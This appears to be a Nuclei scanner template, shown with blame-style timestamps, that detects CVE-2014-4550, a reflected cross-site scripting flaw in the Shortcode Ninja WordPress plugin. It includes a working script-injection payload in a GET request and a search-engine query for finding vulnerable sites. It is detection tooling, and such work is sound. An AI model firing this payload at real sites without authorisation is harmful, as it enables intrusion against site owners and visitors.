2021-09-27 11:02:48 +00:00
id : CVE-2014-4550
info :
2022-09-09 17:34:37 +00:00
name : Shortcode Ninja <= 1.4 - Cross-Site Scripting
2021-09-27 11:02:48 +00:00
author : daffainfo
severity : medium
2022-04-22 10:38:41 +00:00
description : A cross-site scripting vulnerability in preview-shortcode-external.php in the Shortcode Ninja plugin 1.4 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the shortcode parameter.
2023-09-27 15:51:13 +00:00
impact : |
Allows remote attackers to inject arbitrary web script or HTML via crafted shortcode parameters, leading to potential session hijacking, defacement of web pages, or theft of sensitive information.
2023-09-06 13:22:34 +00:00
remediation : |
Update to the latest version of the Shortcode Ninja plugin (1.4 or higher) to fix the XSS vulnerability.
2022-04-22 10:38:41 +00:00
reference :
2021-09-27 11:02:48 +00:00
- https://wpscan.com/vulnerability/c7c24c7d-5341-43a6-abea-4a50fce9aab0
- https://nvd.nist.gov/vuln/detail/CVE-2014-4550
2022-05-17 09:18:12 +00:00
- http://codevigilant.com/disclosure/wp-plugin-shortcode-ninja-a3-cross-site-scripting-xss
2021-09-27 11:14:32 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 6.1
2021-09-27 11:14:32 +00:00
cve-id : CVE-2014-4550
cwe-id : CWE-79
2023-04-12 10:55:48 +00:00
epss-score : 0.00135
2024-01-14 13:49:27 +00:00
epss-percentile : 0.48556
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:visualshortcodes:ninja:*:*:*:*:*:wordpress:*:*
2022-07-11 17:26:38 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : visualshortcodes
product : ninja
2023-09-06 13:22:34 +00:00
framework : wordpress
google-query : inurl:"/wp-content/plugins/shortcode-ninja"
2024-01-14 09:21:50 +00:00
tags : cve2014,cve,wordpress,wp-plugin,xss,wpscan,unauth,visualshortcodes
2021-09-27 11:02:48 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-09-27 11:02:48 +00:00
- method : GET
path :
2022-01-25 19:38:53 +00:00
- "{{BaseURL}}/wp-content/plugins/shortcode-ninja/preview-shortcode-external.php?shortcode=shortcode%27%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3e"
2021-09-27 11:02:48 +00:00
matchers-condition : and
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : body
2021-09-27 11:02:48 +00:00
words :
- "'><script>alert(document.domain)</script>"
- type : word
part : header
words :
- text/html
- type : status
status :
2022-01-25 19:38:53 +00:00
- 200
2024-01-14 14:05:19 +00:00
# digest: 490a00463044022031da20cd27760970d90ab168edbe72b91db7b72bf55a073e0ba78a01f5672f8d02206feb4e1b083597c5b57dde4291739e7a6e7446f36e4a462a4b625878c091e990:922c64590222798bb761d5b6d8e72950